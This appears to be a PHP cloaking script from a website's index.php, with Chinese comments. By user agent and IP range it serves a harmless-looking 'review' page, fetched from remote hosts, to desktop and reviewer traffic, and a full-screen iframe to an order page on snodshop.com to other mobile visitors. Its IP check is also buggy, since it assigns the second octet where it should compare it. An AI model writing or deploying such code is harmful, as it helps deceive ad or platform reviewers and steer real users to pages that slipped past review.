File: /www/wwwroot//www.ornierjxd.com/aa/index.php
<?php
//<base href="https://www.tiantianbaofen.com/" />
//状态设置
$zhuangtai = 3;
if ($zhuangtai == 1) {
//推广页
$base = '<base href="https://www.tiantianbaofen.com/" />';
$f_info = implode("", file("http://ornierjxd.com"));
//审核页
$sbase = '<base href="https://www.tiantianbaofen.com/" />';
$sf_info = implode("", file("http://www.xxlht.com/sh/171/"));
} elseif ($zhuangtai == 2) {
//推广页
$base = '<base href="https://www.tiantianbaofen.com/" />';
$f_info = implode("", file("http://ornierjxd.com"));
//审核页
$sbase = '';
$sf_info = '<!DOCTYPE html>
<html >
<head>
<title></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<style type="text/css" media="all">
body{padding:0px;margin:0px}
</style>
</head>
<body>
<iframe
src="https://www.snodshop.com/index.php?m=Order&id=6S4Z9N&uid=1&tpl=detail&gzid=xxl"
style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>
</body>
</html>';
} elseif ($zhuangtai == 3) {
//推广页
$base = '';
$f_info = '<!DOCTYPE html>
<html >
<head>
<title></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<style type="text/css" media="all">
body{padding:0px;margin:0px}
</style>
</head>
<body>
<iframe
src="https://www.snodshop.com/index.php?m=Order&id=6S4Z9N&uid=1&tpl=detail&gzid=xxl"
style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>
</body>
</html>';
//审核页
$sbase = '<base href="https://www.tiantianbaofen.com/" />';
$sf_info = implode("", file("http://www.xxlht.com/sh/171/"));
} else {
//推广页
$base = '';
$f_info = '<!DOCTYPE html>
<html >
<head>
<title></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<style type="text/css" media="all">
body{padding:0px;margin:0px}
</style>
</head>
<body>
<iframe
src="https://www.snodshop.com/index.php?m=Order&id=6S4Z9N&uid=1&tpl=detail&gzid=xxl"
style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>
</body>
</html>';
//审核页
$sbase = '';
$sf_info = '<!DOCTYPE html>
<html >
<head>
<title></title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<style type="text/css" media="all">
body{padding:0px;margin:0px}
</style>
</head>
<body>
<iframe
src="https://www.snodshop.com/index.php?m=Order&id=6S4Z9N&uid=1&tpl=detail&gzid=xxl"
style="visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;" allowfullscreen="allowfullscreen" webkitallowfullscreen="webkitallowfullscreen" mozallowfullscreen="mozallowfullscreen"></iframe>
</body>
</html>';
}
function is_mobile()
{
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$is_pc = (strpos($agent, 'windows nt')) ? true : false;
$is_mac = (strpos($agent, 'mac os')) ? true : false;
$is_iphone = (strpos($agent, 'iphone')) ? true : false;
$is_android = (strpos($agent, 'android')) ? true : false;
$is_ipad = (strpos($agent, 'ipad')) ? true : false;
if ($is_pc) {
return false;
}
if ($is_mac) {
return true;
}
if ($is_iphone) {
return true;
}
if ($is_android) {
return true;
}
if ($is_ipad) {
return true;
}
}
/* 判断电脑移动端的封装*/
if (!is_mobile())//如果是电脑端显示
{
//下面是审核页面
echo $sbase;
echo $sf_info;
} else {
$ip = $_SERVER['REMOTE_ADDR'];
$ip = explode('.', $ip);
if ($ip[0] == 103 && $ip[1] = 136) {//下面是审核页面
echo $sbase;
echo $sf_info;
} else {//下面是推广页面
echo $base;
echo $f_info;
}
}